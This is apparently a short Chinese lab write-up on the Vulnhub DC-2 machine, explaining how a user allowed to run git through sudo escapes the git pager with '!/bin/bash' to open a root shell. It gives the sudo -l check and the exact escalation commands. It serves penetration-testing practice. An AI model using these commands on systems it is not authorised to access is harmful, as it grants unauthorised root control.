git提权

实验环境------vulnhub-dc2靶场

git提权

前提:用户可以使用sudo中git权限

查看sudo权限

bash 复制代码
sudo -l

可以发现git命令存在sudo提权

基于此进行权限提升

方式:

bash 复制代码
sudo git help config #在末行命令模式输入 
!/bin/bash 或 !'sh' #完成提权 
sudo git -p help 
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell

输入sudo git help config后会有一个很长的文本,在此基础上,按下: ,在输入!/bin/bash

然后按q退出,再输出sudo git -p help命令,同上输入!/bin/bash

...(img-S18YuqYP-1705661673078)]

相关推荐
Howie Zphile2 小时前
Git 拉 NocoBase 2.0 beta(next 分支),并“每天自动更新 + 自动编译 + 自动重启”
大数据·git·elasticsearch
吕司3 小时前
Git分支管理
git
黑屋里的马4 小时前
GitExtension下载、安装
git·gitextension
Geoking.4 小时前
Git 中的 Rebase 与 Merge:原理、区别与最佳实践
git
invicinble6 小时前
一文了解git
大数据·git·elasticsearch
我命由我123456 小时前
Git 初始化本地仓库并推送到远程仓库解读
运维·服务器·经验分享·笔记·git·学习·学习方法
爱码小白7 小时前
Git学习笔记
笔记·git·学习
skywalk81638 小时前
sudo apt upgrade git 报错
git
_运维那些事儿9 小时前
GitLabCI/CD语法
linux·服务器·git·ci/cd·gitlab·运维开发·devops
huohuopro9 小时前
git基本使用
大数据·git·elasticsearch